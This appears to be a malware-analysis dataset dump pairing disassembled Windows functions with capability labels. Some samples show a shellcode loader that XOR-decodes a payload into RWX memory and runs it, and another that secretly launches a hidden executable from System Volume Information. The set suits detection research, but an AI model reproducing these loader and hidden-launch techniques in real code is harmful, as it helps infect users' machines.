joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003ed6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001fa80]
jne 0x10003ee0
repz ret
jmp fcn.1000505d

Function at 0x10004cf2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001fa80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000127d
and dword [ebp - 0x14], 0
cmp dword [0x1002045c], 0
mov dword [ebp - 0x18], eax
jne 0x10004da5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10004e4d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10004e4d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1002045c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x10020460], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x10020464], eax
call edi
push eax
call esi
mov dword [0x1002046c], eax
test eax, eax
je 0x10004da5
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x10020468], eax
mov eax, dword [0x10020468]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10004dfe
cmp dword [0x1002046c], ecx
je 0x10004dfe
push eax
call esi
push dword [0x1002046c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10004dfe
test ebx, ebx
je 0x10004dfe
call edi
test eax, eax
je 0x10004df5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10004df5
test byte [ebp - 8], 1
jne 0x10004dfe
or dword [ebp + 0x10], 0x200000
jmp 0x10004e31
mov eax, dword [0x10020460]
cmp eax, dword [ebp - 0x18]
je 0x10004e31
push eax
call esi
test eax, eax
je 0x10004e31
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x10004e31
mov eax, dword [0x10020464]
cmp eax, dword [ebp - 0x18]
je 0x10004e31
push eax
call esi
test eax, eax
je 0x10004e31
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1002045c]
call esi
test eax, eax
je 0x10004e4d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10004e4f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10003ed6
leave
ret
Function at 0x100054e8
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x40
mov esi, 0x1000
push esi
push 0x16187
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [0x100077f8]
mov edi, 0x100077fc
mov edx, eax
sub edi, eax
mov dword [ebp - 4], 0x16183
mov bl, byte [edi + edx]
xor bl, cl
mov byte [edx], bl
mov ebx, ecx
imul ecx, ecx, 0x6a730000
shr ebx, 0x10
imul ebx, ebx, 0x39f3958d
sub ecx, ebx
sub ecx, 0x5c0bb335
inc edx
dec dword [ebp - 4]
jne 0x1000551a
push 0
call eax
pop edi
cmp eax, esi
pop esi
pop ebx
jae 0x1000554f
xor eax, eax
leave
ret
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
inc eax
leave
ret
Function at 0x403290
Capabilities:
Enumerate gui resources
Get hostname

Disassembly:
mov eax, 0x1c0c
call fcn.0040d330
mov eax, dword [0xa3e4f4]
mov ecx, dword [0xa3e464]
shr eax, 3
test eax, eax
jbe 0x4033c2
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jmp 0x4032e0
cmp dword [0xa3e4f4], 0x959
jne 0x4033a4
push 0
lea eax, [esp + 0x20]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x820]
push ecx
push 0
call ebx
push 0
push 0
call esi
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
push 0
push 0
lea edx, [esp + 0x1024]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
lea eax, [esp + 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x1420]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
push 0x402cc8
push 0x402ce4
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [esp + 0x10]
push eax
call fcn.00403090
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x4032e0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c0c
ret
Function at 0x403c50
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
mov eax, 0x1430
call fcn.0040d330
cmp dword [0xa3e4f4], 0xc
push ebx
push ebp
push esi
push edi
jne 0x403d1c
push 0
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push 0
lea eax, [esp + 0xc44]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
push 0
push 0
lea ecx, [esp + 0x848]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
push 0x402d6c
push 0x402d78
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
push 0
lea edx, [esp + 0x44]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push 0x402d98
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
lea eax, [esp + 0x444]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapSize]
push 0x402de0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call fcn.00403dd3
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00403faa
fstp st(0)
add esp, 8
mov edi, dword [sym.imp.USER32.dll_SetCaretPos]
mov ebx, dword [sym.imp.USER32.dll_CharLowerBuffW]
mov ebp, dword [sym.imp.USER32.dll_GetSysColorBrush]
xor esi, esi
cmp esi, 0x9458
jge 0x403d4e
push 0
push 0
call edi
push 0
lea ecx, [esp + 0xc44]
push ecx
call ebx
push 0
call ebp
inc esi
cmp esi, 0x14ee8
jl 0x403d30
mov edx, dword [0x4316a4]
mov eax, dword [0x431678]
mov dword [0xa3e4f4], edx
mov dword [0xa3fdfc], eax
call fcn.004034d0
pop edi
xor eax, eax
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4086e6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x430aa8]
jne 0x4086f0
repz ret
jmp fcn.0040a459
Function at 0x409b80
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004049e0
and dword [ebp - 4], 0
cmp dword [0x431f6c], 0
mov ebx, eax
jne 0x409c31
push 0x4023c8
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x409ce2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4023bc
push edi
call esi
test eax, eax
je 0x409ce2
push eax
call fcn.0040496e
mov dword [esp], 0x4023ac
push edi
mov dword [0x431f6c], eax
call esi
push eax
call fcn.0040496e
mov dword [esp], 0x402398
push edi
mov dword [0x431f70], eax
call esi
push eax
call fcn.0040496e
mov dword [esp], 0x40237c
push edi
mov dword [0x431f74], eax
call esi
push eax
call fcn.0040496e
pop ecx
mov dword [0x431f7c], eax
test eax, eax
je 0x409c31
push 0x402364
push edi
call esi
push eax
call fcn.0040496e
pop ecx
mov dword [0x431f78], eax
mov eax, dword [0x431f78]
cmp eax, ebx
je 0x409c89
cmp dword [0x431f7c], ebx
je 0x409c89
push eax
call fcn.004049e9
push dword [0x431f7c]
mov esi, eax
call fcn.004049e9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x409c89
test edi, edi
je 0x409c89
call esi
test eax, eax
je 0x409c80
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x409c80
test byte [ebp - 0xc], 1
jne 0x409c89
or dword [ebp + 0x10], 0x200000
jmp 0x409cc2
mov eax, dword [0x431f70]
cmp eax, ebx
je 0x409cc2
push eax
call fcn.004049e9
pop ecx
test eax, eax
je 0x409cc2
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x409cc2
mov eax, dword [0x431f74]
cmp eax, ebx
je 0x409cc2
push eax
call fcn.004049e9
pop ecx
test eax, eax
je 0x409cc2
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x431f6c]
call fcn.004049e9
pop ecx
test eax, eax
je 0x409ce2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x409ce4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4012f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov edx, 0x104
mov ebp, esp
push edi
lea edi, [ebp - 0x238]
push esi
lea esi, [ebp - 0x34a]
push ebx
sub esp, 0x36c
lea ebx, [ebp - 0x128]
movzx eax, word [section..rdata]
mov dword [esp + 8], edx
mov dword [esp + 4], ebx
mov dword [esp], 0
mov word [ebp - 0x34a], ax
call sub.KERNEL32.dll_GetModuleFileNameA
sub esp, 0xc
mov eax, 0x104
mov dword [esp + 8], eax
xor eax, eax
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.msvcrt.dll_memset
mov dword [esp + 4], esi
mov dword [esp], ebx
jmp 0x40136f
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], esi
mov dword [esp], 0
call sub.msvcrt.dll_strtok
test eax, eax
jne 0x401358
movzx eax, byte [ebp - 0x238]
xor edx, edx
jmp 0x40139c
mov byte [edx + ebp - 0x348], al
xor eax, eax
mov byte [edx + ebp - 0x347], al
inc edx
movzx eax, byte [edx + ebp - 0x238]
cmp al, 0x2e
jne 0x401383
mov dword [esp], 0
mov eax, 1
mov edi, str.open
mov dword [esp + 0x14], eax
mov eax, 0x403007
mov esi, 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x348]
mov ebx, 0x403007
mov dword [esp + 0xc], eax
mov eax, str.explorer.exe
mov dword [esp + 4], edi
mov dword [esp + 8], eax
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
mov ecx, 0x403007
mov edx, str.System_Volume_Information_banana.exe
mov dword [esp + 0x14], esi
mov eax, str.open
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret 0x10

Function at 0x401430
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov eax, 0x10
mov ebp, esp
push ebx
sub esp, 0x64
and esp, 0xfffffff0
call fcn.00401a60
call fcn.004015e0
call sub.KERNEL32.dll_GetCommandLineA
mov ebx, eax
lea eax, [ebp - 0x58]
mov dword [esp], eax
call sub.KERNEL32.dll_GetStartupInfoA
sub esp, 4
test ebx, ebx
jne 0x401468
jmp 0x401504
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
or eax, edx
test al, 1
jne 0x401467
cmp cl, 0x22
je 0x4014c0
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
je 0x4014e0
lea esi, [esi]
lea edi, [edi]
test cl, cl
je 0x4014e0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x20
setne al
xor edx, edx
cmp cl, 9
setne dl
test eax, edx
jne 0x4014a0
jmp 0x4014e0
inc ebx
movzx ecx, byte [ebx]
cmp cl, 0x22
setne al
xor edx, edx
test cl, cl
setne dl
test eax, edx
jne 0x4014c0
cmp cl, 0x22
je 0x401540
lea esi, [esi]
cmp cl, 0x20
sete al
cmp cl, 9
sete dl
jmp 0x4014fe
inc ebx
movzx eax, byte [ebx]
cmp al, 0x20
sete dl
cmp al, 9
sete al
or eax, edx
test al, 1
jne 0x4014f0
mov dword [esp], 0
call sub.KERNEL32.dll_GetModuleHandleA
sub esp, 4
test byte [ebp - 0x2c], 1
mov edx, 0xa
je 0x401522
movzx edx, word [ebp - 0x28]
mov dword [esp + 0xc], edx
xor edx, edx
mov dword [esp + 8], ebx
mov dword [esp + 4], edx
mov dword [esp], eax
call fcn.004012f0
sub esp, 0x10
mov ebx, dword [ebp - 4]
leave
ret
inc ebx
movzx ecx, byte [ebx]
jmp 0x4014e0
Function at 0x40a6f0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4263d4]
jne 0x40a6fa
repz ret
jmp fcn.004108ec

Function at 0x41659c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4263d4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040d58f
and dword [ebp - 0x14], 0
cmp dword [0x47780c], 0
mov dword [ebp - 0x18], eax
jne 0x41664f
push 0x403804
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4166f7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4037f8
push ebx
call edi
test eax, eax
je 0x4166f7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4037e8
push ebx
mov dword [0x47780c], eax
call edi
push eax
call esi
push 0x4037d4
push ebx
mov dword [0x477810], eax
call edi
push eax
call esi
push 0x4037b8
push ebx
mov dword [0x477814], eax
call edi
push eax
call esi
mov dword [0x47781c], eax
test eax, eax
je 0x41664f
push 0x4037a0
push ebx
call edi
push eax
call esi
mov dword [0x477818], eax
mov eax, dword [0x477818]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4166a8
cmp dword [0x47781c], ecx
je 0x4166a8
push eax
call esi
push dword [0x47781c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4166a8
test ebx, ebx
je 0x4166a8
call edi
test eax, eax
je 0x41669f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41669f
test byte [ebp - 8], 1
jne 0x4166a8
or dword [ebp + 0x10], 0x200000
jmp 0x4166db
mov eax, dword [0x477810]
cmp eax, dword [ebp - 0x18]
je 0x4166db
push eax
call esi
test eax, eax
je 0x4166db
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4166db
mov eax, dword [0x477814]
cmp eax, dword [ebp - 0x18]
je 0x4166db
push eax
call esi
test eax, eax
je 0x4166db
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x47780c]
call esi
test eax, eax
je 0x4166f7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4166f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a6f0
leave
ret
Function at 0x41e890
Capabilities:
Delete directory
Delete file
Get disk information
Read .ini file

Disassembly:
mov eax, 0x1400
call fcn.0041da70
cmp dword [0x818590], 0x37
jne 0x41e921
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0x404420
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
lea eax, [esp + 0x804]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x404440
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea ecx, [esp]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapePosition]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
lea edx, [esp + 0xc04]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov eax, dword [0x818594]
mov edx, dword [0x814a00]
mov cl, byte [eax + esi + 0x38d6]
mov byte [edx + esi], cl
add esp, 0x1400
ret
Function at 0x401e10
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x401e38
push esi
mov esi, 1
mov edx, 0x10
sub esi, ecx
xor byte [ecx], 0x54
lea eax, [esi + ecx]
lea ecx, [ecx + 1]
sub edx, 1
jne 0x401e25
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x401f40
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x4a4014]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x186a0
mov dword [ebp - 8], 0
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x401f7b
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042c14d
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 8]
push eax
push 0x40
push 0x186a0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0042c14d
mov esp, ebp
pop ebp
ret

Function at 0x402740
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.00402710
nop
mov dword [ebp - 4], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
call fcn.00402710
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0
jmp 0x402776
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 4
jge 0x402795
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.00402710
nop
mov edx, dword [ebp - 8]
mov dword [ebp + edx*4 - 0x18], eax
jmp 0x40276d
mov dword [ebp - 0x1c], 0
mov dword [ebp - 8], 0
jmp 0x4027ae
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x10
jge 0x402806
mov ecx, dword [ebp - 0x1c]
sub ecx, 0x61c88647
mov dword [ebp - 0x1c], ecx
mov edx, dword [ebp - 0x20]
shl edx, 4
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x1c]
xor edx, eax
mov ecx, dword [ebp - 0x20]
shr ecx, 5
add ecx, dword [ebp - 0x14]
xor edx, ecx
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
shl edx, 4
add edx, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x1c]
xor edx, eax
mov ecx, dword [ebp - 4]
shr ecx, 5
add ecx, dword [ebp - 0xc]
xor edx, ecx
add edx, dword [ebp - 0x20]
mov dword [ebp - 0x20], edx
jmp 0x4027a5
mov edx, dword [ebp - 4]
push edx
call fcn.00402710
nop
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
mov edx, dword [ebp - 0x20]
push edx
call fcn.00402710
nop
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 4], eax
mov esp, ebp
pop ebp
ret
Function at 0x4060f0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov ebx, dword [sym.imp.WS2_32.dll_ntohl]
push esi
mov esi, edx
push edi
push dword [esi]
call ebx
push dword [esi + 4]
mov edi, eax
call ebx
mov ebx, dword [ebp + 8]
xor esi, esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0x14]
sub ebx, eax
nop dword [eax]
lea eax, [ebx + esi*4]
push dword [ebp + eax - 0x14]
call dword [sym.imp.WS2_32.dll_ntohl]
mov dword [ebp + esi*4 - 0x14], eax
inc esi
cmp esi, 4
jl 0x406120
mov ebx, dword [ebp - 4]
mov edx, 0xe3779b90
mov esi, 0x10
mov ecx, edi
mov eax, edi
shr ecx, 5
add ecx, dword [ebp - 8]
shl eax, 4
add eax, dword [ebp - 0xc]
xor ecx, eax
lea eax, [edx + edi]
xor ecx, eax
sub ebx, ecx
mov ecx, ebx
mov eax, ebx
shr ecx, 5
add ecx, dword [ebp - 0x10]
shl eax, 4
add eax, dword [ebp - 0x14]
xor ecx, eax
lea eax, [edx + ebx]
xor ecx, eax
lea edx, [edx + 0x61c88647]
sub edi, ecx
sub esi, 1
jne 0x406144
mov esi, dword [sym.imp.WS2_32.dll_htonl]
push edi
call esi
mov edi, dword [ebp + 0xc]
push ebx
mov dword [edi], eax
call esi
mov dword [edi + 4], eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4072c0
Capabilities:
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x521c
call fcn.00487b00
mov eax, dword [0x4a4014]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100
lea eax, [ebp - 0x204]
mov edi, ecx
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x100
lea eax, [ebp - 0x104]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
lea eax, [ebp - 0x104]
push 0
push 0
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x104]
push eax
lea eax, [ebp - 0x204]
push str._sGZXIP.db
push eax
call fcn.0040dd00
push 0x5000
lea eax, [ebp - 0x5204]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea eax, [ebp - 0x204]
push 0x49afe8
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov ebx, eax
add esp, 0x20
test ebx, ebx
je 0x407466
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
push 2
push 0
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push ebx
mov dword [ebp - 0x521c], eax
call esi
mov esi, dword [ebp - 0x521c]
lea eax, [ebp - 0x5204]
push ebx
push esi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov eax, dword [0x4a6d6c]
add esp, 0x30
mov dword [0x4a6d70], eax
test esi, esi
je 0x407466
mov eax, 0xcccccccd
mul esi
mov ebx, edx
shr ebx, 4
test ebx, ebx
je 0x407450
lea esi, [ebp - 0x5204]
mov eax, dword [esi + 0x10]
mov ecx, 0x4a6d6c
movups xmm0, xmmword [esi]
mov dword [ebp - 0x5208], eax
lea eax, [ebp - 0x5218]
push eax
movups xmmword [ebp - 0x5218], xmm0
call fcn.0040da50
movzx eax, byte [esi + 1]
cmp dword [edi + 0x4f6], eax
jne 0x407448
mov al, byte [esi]
cmp al, 1
jne 0x40740e
lea ecx, [edi + 0x793]
jmp 0x40743c
cmp al, 2
jne 0x40741a
lea ecx, [edi + 0x79f]
jmp 0x40743c
cmp al, 3
jne 0x407426
lea ecx, [edi + 0x7ab]
jmp 0x40743c
cmp al, 4
jne 0x407432
lea ecx, [edi + 0x7b7]
jmp 0x40743c
cmp al, 6
jne 0x407448
lea ecx, [edi + 0x7c3]
lea eax, [ebp - 0x5218]
push eax
call fcn.0040da50
add esi, 0x14
sub ebx, 1
jne 0x4073d0
pop edi
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042c14d
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0042c14d
mov esp, ebp
pop ebp
ret
Function at 0x40af80
Capabilities:
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x4a4014]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x4a603c], 0
push esi
push edi
mov esi, ecx
je 0x40afac
cmp dword [esi + 0x4fe], 7
jne 0x40afac
push ecx
call fcn.0040c8c0
push ebx
push ecx
lea eax, [ebp - 8]
mov dword [ebp - 0x14], 0x6500
push eax
push ecx
lea eax, [ebp - 0x14]
mov dword [ebp - 0x10], 0
push eax
mov ecx, esi
mov word [ebp - 0xc], 0x400
mov dword [ebp - 8], 0
call fcn.00409f10
mov ebx, dword [esi + 0x406]
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
test ebx, ebx
je 0x40b024
mov edi, dword [ebx]
cmp edi, 0xffffffff
je 0x40b01e
push 4
lea ecx, [ebp - 8]
mov dword [ebp - 8], 1
push ecx
push 0x80
push 0xffff
push edi
call eax
push 2
push edi
call dword [sym.imp.WS2_32.dll_shutdown]
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [sym.imp.WS2_32.dll_setsockopt]
mov dword [ebx], 0xffffffff
mov edi, dword [esi + 0x40a]
test edi, edi
je 0x40b06f
mov ebx, dword [edi]
cmp ebx, 0xffffffff
je 0x40b05f
push 4
lea ecx, [ebp - 8]
mov dword [ebp - 8], 1
push ecx
push 0x80
push 0xffff
push ebx
call eax
push 2
push ebx
call dword [sym.imp.WS2_32.dll_shutdown]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [edi], 0xffffffff
mov dword [esi + 0x40a], 0
mov eax, dword [esi + 0x472]
pop ebx
test eax, eax
je 0x40b08b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0x472], 0
mov eax, dword [0x4a5f60]
test eax, eax
je 0x40b09a
dec eax
mov dword [0x4a5f60], eax
xor eax, eax
mov dword [esi + 0x406], 0
mov dword [esi + 0x3ea], 0
mov dword [esi + 0x558], 0
mov dword [esi + 0x3fe], 0
mov dword [esi + 0x402], 0
mov word [esi + 0x546], ax
mov dword [esi + 0x536], eax
cmp dword [ebp + 8], eax
je 0x40b11a
mov eax, dword [esi + 0x77a]
mov edi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
test eax, eax
je 0x40b100
push eax
call edi
add esp, 4
mov dword [esi + 0x77a], 0
mov eax, dword [esi + 0x782]
test eax, eax
je 0x40b11a
push eax
call edi
add esp, 4
mov dword [esi + 0x782], 0
mov ecx, dword [esi + 0x776]
call dword [sym.imp.mfc140u.dll_CByteArray::FreeExtra]
mov ecx, dword [esi + 0x776]
push 0xffffffffffffffff
push 0
call dword [sym.imp.mfc140u.dll_CByteArray::SetSize]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0042c14d
mov esp, ebp
pop ebp
ret 4